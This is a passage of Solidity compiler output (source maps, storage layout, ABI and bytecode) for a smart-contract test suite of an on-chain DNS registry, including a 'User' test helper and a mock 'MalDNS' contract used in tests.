;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3694:34;;;;;;;;3732:16;3741:2;3732:16;;;3745:2;3732:16;;;:8;:16::i;:::-;3752:34;3761:5;3776;3782:1;3776:8;;;;;;;;;;;;;;;;;;3752;:34::i;:::-;3843:5;3849:1;3843:8;;;;;;;;;;;;;;;;;;:17;;;3861:2;3865;3843:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3933:3;;;;;;;;;;;:11;;;3945:2;3933:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3919:29;;;;;;;;3952:15;3961:2;3952:15;;;3965:1;3952:15;;:8;:15::i;:::-;3971:27;3980:5;3995:1;3971:8;:27::i;:::-;4053:6;;;;;;;;;;;:14;;;4068:2;4053:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4039:32;;;;;;;;4075:16;4084:2;4075:16;;;4088:2;4075:16;;;:8;:16::i;:::-;4095:34;4104:5;4119;4125:1;4119:8;;;;;;;;;;;;;;;;;;4095;:34::i;:::-;4199:5;4205:1;4199:8;;;;;;;;;;;;;;;;;;:16;;;4216:2;4199:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4185:34;;;;;;;;4223:16;4232:2;4223:16;;;4236:2;4223:16;;;:8;:16::i;:::-;4243:34;4252:5;4267;4273:1;4267:8;;;;;;;;;;;;;;;;;;4243;:34::i;:::-;4334:5;4340:1;4334:8;;;;;;;;;;;;;;;;;;:17;;;4352:2;4356;4334:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4414:3;;;;;;;;;;;:11;;;4426:2;4414:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4400:29;;;;;;;;4433:16;4442:2;4433:16;;;4446:2;4433:16;;;:8;:16::i;:::-;4453:34;4462:5;4477;4483:1;4477:8;;;;;;;;;;;;;;;;;;4453;:34::i;:::-;4527:5;4533:1;4527:8;;;;;;;;;;;;;;;;;;:16;;;4544:2;4527:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4513:34;;;;;;;;4551:16;4560:2;4551:16;;;4564:2;4551:16;;;:8;:16::i;:::-;4571:34;4580:5;4595;4601:1;4595:8;;;;;;;;;;;;;;;;;;4571;:34::i;:::-;4688:6;;;;;;;;;;;:14;;;4703:2;4688:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4674:32;;;;;;;;4710:16;4719:2;4710:16;;;4723:2;4710:16;;;:8;:16::i;:::-;4730:34;4739:5;4754;4760:1;4754:8;;;;;;;;;;;;;;;;;;4730;:34::i;:::-;4819:11;4833:10;4819:24;;;;4847:5;4853:1;4847:8;;;;;;;;;;;;;;;;;;:15;;;4863:2;4867:4;4847:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4950:5;4956:1;4950:8;;;;;;;;;;;;;;;;;;:16;;;4967:2;4950:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4936:34;;;;;;;;4974:18;4983:2;4974:18;;;4987:4;4974:18;;;:8;:18::i;:::-;4996:34;5005:5;5020;5026:1;5020:8;;;;;;;;;;;;;;;;;;4996;:34::i;:::-;5140:5;5146:1;5140:8;;;;;;;;;;;;;;;;;;:27;;;5168:2;5172:10;5184:11;;;;;;;;;;;5140:56;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5136:100;;;;;5202:17;5213:5;5202:10;:17::i;:::-;5136:100;5292:5;5298:1;5292:8;;;;;;;;;;;;;;;;;;:17;;;5310:2;5314;5292:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5335:6;;;;;;;;;;;:14;;;5350:2;5335:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5321:32;;;;;;;;5357:16;5366:2;5357:16;;;5370:2;5357:16;;;:8;:16::i;:::-;5377:34;5386:5;5401;5407:1;5401:8;;;;;;;;;;;;;;;;;;5377;:34::i;:::-;5488:5;5494:1;5488:8;;;;;;;;;;;;;;;;;;:15;;;5504:2;5508:10;5488:31;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5484:75;;;;;5525:17;5536:5;5525:10;:17::i;:::-;5484:75;1647:3931;;;;;;;;;;;;;:::o;1352:18:0:-;;;;;;;;;;;;;:::o;1327:19::-;;;;;;;;;;;;:::o;1317:327:2:-;1354:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1347:4;;:22;;;;;;;;;;;;;;;;;;1384:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1374:7;;:23;;;;;;;;;;;;;;;;;;1415:7;;;;;;;;;;;1407:16;;;;;:::i;:::-;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1401:3;;:22;;;;;;;;;;;;;;;;;;1452:3;;;;;;;;;;;1457:7;;;;;;;;;;;1436:29;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1427:6;;:38;;;;;;;;;;;;;;;;;;1499:3;;;;;;;;;;;1504:7;;;;;;;;;;;1483:29;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1469:11;;:43;;;;;;;;;;;;;;;;;;1537:10;1549:3;;;;;;;;;;;1554:7;;;;;;;;;;;1526:36;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1516:7;;:46;;;;;;;;;;;;;;;;;;1572:6;1567:73;1246:1;1584;:13;1567:73;;;1627:3;;;;;;;;;;;1632:7;;;;;;;;;;;1618:22;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1607:5;1613:1;1607:8;;;;;;;;;:33;;;;;;;;;;;;;;;;;;1599:3;;;;;1567:73;;;;1317:327::o;2297:276:0:-;2365:1;2360;:6;2356:211;;2387:43;;;;;;;;;;;;;;;;;;;;2449:34;2481:1;2449:34;;;;;;;;;;;;;;;;;;;;;;;;;2502;2534:1;2502:34;;;;;;;;;;;;;;;;;;;;;;;;;2550:6;:4;:6::i;:::-;2356:211;2297:276;;:::o;1927:::-;1995:1;1990:6;;:1;:6;;;1986:211;;2017:43;;;;;;;;;;;;;;;;;;;;2079:34;2111:1;2079:34;;;;;;;;;;;;;;;;;;;;;;;;;;;2132;2164:1;2132:34;;;;;;;;;;;;;;;;;;;;;;;;;;;2180:6;:4;:6::i;:::-;1986:211;1927:276;;:::o;1763:158::-;1823:9;1818:97;;1853:31;;;;;;;;;;;;;;;;;;;;1898:6;:4;:6::i;:::-;1818:97;1763:158;:::o;1428:55::-;1472:4;1463:6;;:13;;;;;;;;;;;;;;;;;;1428:55::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;7:143:8:-;;95:6;89:13;80:22;;111:33;138:5;111:33;:::i;:::-;70:80;;;;:::o;156:137::-;;241:6;235:13;226:22;;257:30;281:5;257:30;:::i;:::-;216:77;;;;:::o;299:141::-;;386:6;380:13;371:22;;402:32;428:5;402:32;:::i;:::-;361:79;;;;:::o;446:169::-;;547:6;541:13;532:22;;563:46;603:5;563:46;:::i;:::-;522:93;;;;:::o;621:276::-;;737:2;725:9;716:7;712:23;708:32;705:2;;;753:1;750;743:12;705:2;795:1;819:61;872:7;863:6;852:9;848:22;819:61;:::i;:::-;809:71;;767:123;695:202;;;;:::o;903:456::-;;;1049:2;1037:9;1028:7;1024:23;1020:32;1017:2;;;1065:1;1062;1055:12;1017:2;1107:1;1131:61;1184:7;1175:6;1164:9;1160:22;1131:61;:::i;:::-;1121:71;;1079:123;1240:2;1265:77;1334:7;1325:6;1314:9;1310:22;1265:77;:::i;:::-;1255:87;;1212:140;1007:352;;;;;:::o;1365:434::-;;;1500:2;1488:9;1479:7;1475:23;1471:32;1468:2;;;1516:1;1513;1506:12;1468:2;1558:1;1582:63;1637:7;1628:6;1617:9;1613:22;1582:63;:::i;:::-;1572:73;;1530:125;1693:2;1718:64;1774:7;1765:6;1754:9;1750:22;1718:64;:::i;:::-;1708:74;;1665:127;1458:341;;;;;:::o;1805:118::-;1892:24;1910:5;1892:24;:::i;:::-;1887:3;1880:37;1870:53;;:::o;1929:109::-;2010:21;2025:5;2010:21;:::i;:::-;2005:3;1998:34;1988:50;;:::o;2044:115::-;2129:23;2146:5;2129:23;:::i;:::-;2124:3;2117:36;2107:52;;:::o;2165:153::-;2263:48;2305:5;2263:48;:::i;:::-;2258:3;2251:61;2241:77;;:::o;2324:157::-;2424:50;2468:5;2424:50;:::i;:::-;2419:3;2412:63;2402:79;;:::o;2487:163::-;2590:53;2637:5;2590:53;:::i;:::-;2585:3;2578:66;2568:82;;:::o;2656:171::-;2763:57;2814:5;2763:57;:::i;:::-;2758:3;2751:70;2741:86;;:::o;2833:151::-;2930:47;2971:5;2930:47;:::i;:::-;2925:3;2918:60;2908:76;;:::o;2990:149::-;3086:46;3126:5;3086:46;:::i;:::-;3081:3;3074:59;3064:75;;:::o;3145:163::-;3248:53;3295:5;3248:53;:::i;:::-;3243:3;3236:66;3226:82;;:::o;3314:161::-;3416:52;3462:5;3416:52;:::i;:::-;3411:3;3404:65;3394:81;;:::o;3481:163::-;3584:53;3631:5;3584:53;:::i;:::-;3579:3;3572:66;3562:82;;:::o;3650:163::-;3753:53;3800:5;3753:53;:::i;:::-;3748:3;3741:66;3731:82;;:::o;3819:149::-;3915:46;3955:5;3915:46;:::i;:::-;3910:3;3903:59;3893:75;;:::o;3974:364::-;;4090:39;4123:5;4090:39;:::i;:::-;4145:71;4209:6;4204:3;4145:71;:::i;:::-;4138:78;;4225:52;4270:6;4265:3;4258:4;4251:5;4247:16;4225:52;:::i;:::-;4302:29;4324:6;4302:29;:::i;:::-;4297:3;4293:39;4286:46;;4066:272;;;;;:::o;4344:118::-;4431:24;4449:5;4431:24;:::i;:::-;4426:3;4419:37;4409:53;;:::o;4468:222::-;;4599:2;4588:9;4584:18;4576:26;;4612:71;4680:1;4669:9;4665:17;4656:6;4612:71;:::i;:::-;4566:124;;;;:::o;4696:210::-;;4821:2;4810:9;4806:18;4798:26;;4834:65;4896:1;4885:9;4881:17;4872:6;4834:65;:::i;:::-;4788:118;;;;:::o;4912:386::-;;5098:2;5087:9;5083:18;5075:26;;5111:82;5190:1;5179:9;5175:17;5166:6;5111:82;:::i;:::-;5203:88;5287:2;5276:9;5272:18;5263:6;5203:88;:::i;:::-;5065:233;;;;;:::o;5304:254::-;;5451:2;5440:9;5436:18;5428:26;;5464:87;5548:1;5537:9;5533:17;5524:6;5464:87;:::i;:::-;5418:140;;;;:::o;5564:242::-;;5705:2;5694:9;5690:18;5682:26;;5718:81;5796:1;5785:9;5781:17;5772:6;5718:81;:::i;:::-;5672:134;;;;:::o;5812:240::-;;5952:2;5941:9;5937:18;5929:26;;5965:80;6042:1;6031:9;6027:17;6018:6;5965:80;:::i;:::-;5919:133;;;;:::o;6058:528::-;;6288:2;6277:9;6273:18;6265:26;;6301:87;6385:1;6374:9;6370:17;6361:6;6301:87;:::i;:::-;6398:83;6477:2;6466:9;6462:18;6453:6;6398:83;:::i;:::-;6491:88;6575:2;6564:9;6560:18;6551:6;6491:88;:::i;:::-;6255:331;;;;;;:::o;6592:240::-;;6732:2;6721:9;6717:18;6709:26;;6745:80;6822:1;6811:9;6807:17;6798:6;6745:80;:::i;:::-;6699:133;;;;:::o;6838:313::-;;6989:2;6978:9;6974:18;6966:26;;7038:9;7032:4;7028:20;7024:1;7013:9;7009:17;7002:47;7066:78;7139:4;7130:6;7066:78;:::i;:::-;7058:86;;6956:195;;;;:::o;7157:419::-;;7334:2;7323:9;7319:18;7311:26;;7383:9;7377:4;7373:20;7369:1;7358:9;7354:17;7347:47;7411:78;7484:4;7475:6;7411:78;:::i;:::-;7403:86;;7499:70;7565:2;7554:9;7550:18;7541:6;7499:70;:::i;:::-;7301:275;;;;;:::o;7582:455::-;;7777:2;7766:9;7762:18;7754:26;;7826:9;7820:4;7816:20;7812:1;7801:9;7797:17;7790:47;7854:78;7927:4;7918:6;7854:78;:::i;:::-;7846:86;;7942:88;8026:2;8015:9;8011:18;8002:6;7942:88;:::i;:::-;7744:293;;;;;:::o;8043:563::-;;8265:2;8254:9;8250:18;8242:26;;8314:9;8308:4;8304:20;8300:1;8289:9;8285:17;8278:47;8342:78;8415:4;8406:6;8342:78;:::i;:::-;8334:86;;8430:87;8513:2;8502:9;8498:18;8489:6;8430:87;:::i;:::-;8527:72;8595:2;8584:9;8580:18;8571:6;8527:72;:::i;:::-;8232:374;;;;;;:::o;8612:605::-;;8855:2;8844:9;8840:18;8832:26;;8904:9;8898:4;8894:20;8890:1;8879:9;8875:17;8868:47;8932:78;9005:4;8996:6;8932:78;:::i;:::-;8924:86;;9020:88;9104:2;9093:9;9089:18;9080:6;9020:88;:::i;:::-;9118:92;9206:2;9195:9;9191:18;9182:6;9118:92;:::i;:::-;8822:395;;;;;;:::o;9223:358::-;;9395:2;9384:9;9380:18;9372:26;;9408:71;9476:1;9465:9;9461:17;9452:6;9408:71;:::i;:::-;9489:85;9570:2;9559:9;9555:18;9546:6;9489:85;:::i;:::-;9362:219;;;;;:::o;9587:99::-;;9673:5;9667:12;9657:22;;9646:40;;;:::o;9692:169::-;;9810:6;9805:3;9798:19;9850:4;9845:3;9841:14;9826:29;;9788:73;;;;:::o;9867:96::-;;9933:24;9951:5;9933:24;:::i;:::-;9922:35;;9912:51;;;:::o;9969:90::-;;10046:5;10039:13;10032:21;10021:32;;10011:48;;;:::o;10065:149::-;;10141:66;10134:5;10130:78;10119:89;;10109:105;;;:::o;10220:109::-;;10299:24;10317:5;10299:24;:::i;:::-;10288:35;;10278:51;;;:::o;10335:94::-;;10418:5;10407:16;;10397:32;;;:::o;10435:93::-;;10517:5;10506:16;;10496:32;;;:::o;10534:94::-;;10617:5;10606:16;;10596:32;;;:::o;10634:94::-;;10717:5;10706:16;;10696:32;;;:::o;10734:126::-;;10811:42;10804:5;10800:54;10789:65;;10779:81;;;:::o;10866:77::-;;10932:5;10921:16;;10911:32;;;:::o;10949:148::-;;11043:48;11085:5;11043:48;:::i;:::-;11030:61;;11020:77;;;:::o;11103:124::-;;11197:24;11215:5;11197:24;:::i;:::-;11184:37;;11174:53;;;:::o;11233:152::-;;11329:50;11373:5;11329:50;:::i;:::-;11316:63;;11306:79;;;:::o;11391:126::-;;11487:24;11505:5;11487:24;:::i;:::-;11474:37;;11464:53;;;:::o;11523:158::-;;11622:53;11669:5;11622:53;:::i;:::-;11609:66;;11599:82;;;:::o;11687:129::-;;11786:24;11804:5;11786:24;:::i;:::-;11773:37;;11763:53;;;:::o;11822:166::-;;11925:57;11976:5;11925:57;:::i;:::-;11912:70;;11902:86;;;:::o;11994:133::-;;12097:24;12115:5;12097:24;:::i;:::-;12084:37;;12074:53;;;:::o;12133:123::-;;12226:24;12244:5;12226:24;:::i;:::-;12213:37;;12203:53;;;:::o;12262:122::-;;12354:24;12372:5;12354:24;:::i;:::-;12341:37;;12331:53;;;:::o;12390:162::-;;12489:57;12504:41;12539:5;12504:41;:::i;:::-;12489:57;:::i;:::-;12476:70;;12466:86;;;:::o;12558:160::-;;12656:56;12671:40;12705:5;12671:40;:::i;:::-;12656:56;:::i;:::-;12643:69;;12633:85;;;:::o;12724:162::-;;12823:57;12838:41;12873:5;12838:41;:::i;:::-;12823:57;:::i;:::-;12810:70;;12800:86;;;:::o;12892:162::-;;12991:57;13006:41;13041:5;13006:41;:::i;:::-;12991:57;:::i;:::-;12978:70;;12968:86;;;:::o;13060:122::-;;13152:24;13170:5;13152:24;:::i;:::-;13139:37;;13129:53;;;:::o;13188:307::-;13256:1;13266:113;13280:6;13277:1;13274:13;13266:113;;;13365:1;13360:3;13356:11;13350:18;13346:1;13341:3;13337:11;13330:39;13302:2;13299:1;13295:10;13290:15;;13266:113;;;13397:6;13394:1;13391:13;13388:2;;;13477:1;13468:6;13463:3;13459:16;13452:27;13388:2;13237:258;;;;:::o;13501:102::-;;13593:2;13589:7;13584:2;13577:5;13573:14;13569:28;13559:38;;13549:54;;;:::o;13609:96::-;;13692:5;13687:3;13683:15;13662:36;;13652:53;;;:::o;13711:122::-;13784:24;13802:5;13784:24;:::i;:::-;13777:5;13774:35;13764:2;;13823:1;13820;13813:12;13764:2;13754:79;:::o;13839:116::-;13909:21;13924:5;13909:21;:::i;:::-;13902:5;13899:32;13889:2;;13945:1;13942;13935:12;13889:2;13879:76;:::o;13961:120::-;14033:23;14050:5;14033:23;:::i;:::-;14026:5;14023:34;14013:2;;14071:1;14068;14061:12;14013:2;14003:78;:::o;14087:148::-;14173:37;14204:5;14173:37;:::i;:::-;14166:5;14163:48;14153:2;;14225:1;14222;14215:12;14153:2;14143:92;:::o","storage-layout":"{\"storage\":[{\"astId\":2367,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"IS_TEST\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_bool\"},{\"astId\":2369,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"failed\",\"offset\":1,\"slot\":\"0\",\"type\":\"t_bool\"},{\"astId\":447,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"hevm\",\"offset\":2,\"slot\":\"0\",\"type\":\"t_contract(HEVMCheat)1417\"},{\"astId\":449,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"dns\",\"offset\":0,\"slot\":\"1\",\"type\":\"t_contract(DNS)308\"},{\"astId\":451,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"up_dns\",\"offset\":0,\"slot\":\"2\",\"type\":\"t_contract(UpgradedDNS)2303\"},{\"astId\":453,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"fake_up_dns\",\"offset\":0,\"slot\":\"3\",\"type\":\"t_contract(UpgradedDNS)2303\"},{\"astId\":455,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"mal_dns\",\"offset\":0,\"slot\":\"4\",\"type\":\"t_contract(MalDNS)1723\"},{\"astId\":457,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"upgrade\",\"offset\":0,\"slot\":\"5\",\"type\":\"t_contract(Upgrade)2050\"},{\"astId\":464,\"contract\":\"src/DNSTest.t.sol:DNSTest\",\"label\":\"users\",\"offset\":0,\"slot\":\"6\",\"type\":\"t_array(t_contract(User)443)4_storage\"}],\"types\":{\"t_array(t_contract(User)443)4_storage\":{\"base\":\"t_contract(User)443\",\"encoding\":\"inplace\",\"label\":\"contract User[4]\",\"numberOfBytes\":\"128\"},\"t_bool\":{\"encoding\":\"inplace\",\"label\":\"bool\",\"numberOfBytes\":\"1\"},\"t_contract(DNS)308\":{\"encoding\":\"inplace\",\"label\":\"contract DNS\",\"numberOfBytes\":\"20\"},\"t_contract(HEVMCheat)1417\":{\"encoding\":\"inplace\",\"label\":\"contract HEVMCheat\",\"numberOfBytes\":\"20\"},\"t_contract(MalDNS)1723\":{\"encoding\":\"inplace\",\"label\":\"contract MalDNS\",\"numberOfBytes\":\"20\"},\"t_contract(Upgrade)2050\":{\"encoding\":\"inplace\",\"label\":\"contract Upgrade\",\"numberOfBytes\":\"20\"},\"t_contract(UpgradedDNS)2303\":{\"encoding\":\"inplace\",\"label\":\"contract UpgradedDNS\",\"numberOfBytes\":\"20\"},\"t_contract(User)443\":{\"encoding\":\"inplace\",\"label\":\"contract User\",\"numberOfBytes\":\"20\"}}}"},"src/DNSTest.t.sol:User":{"abi":"[{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_upgrade\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"optIn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"optOut\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"}],\"name\":\"updateViaCustomDNS\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]","bin":"60c06040523480156200001157600080fd5b5060405162000cc138038062000cc18339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610ad7620001ea600039806101ed528061038052508061013c52806102ed528061040e528061049f5250610ad76000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b81526004016102459190610806565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b8152600401610245919061080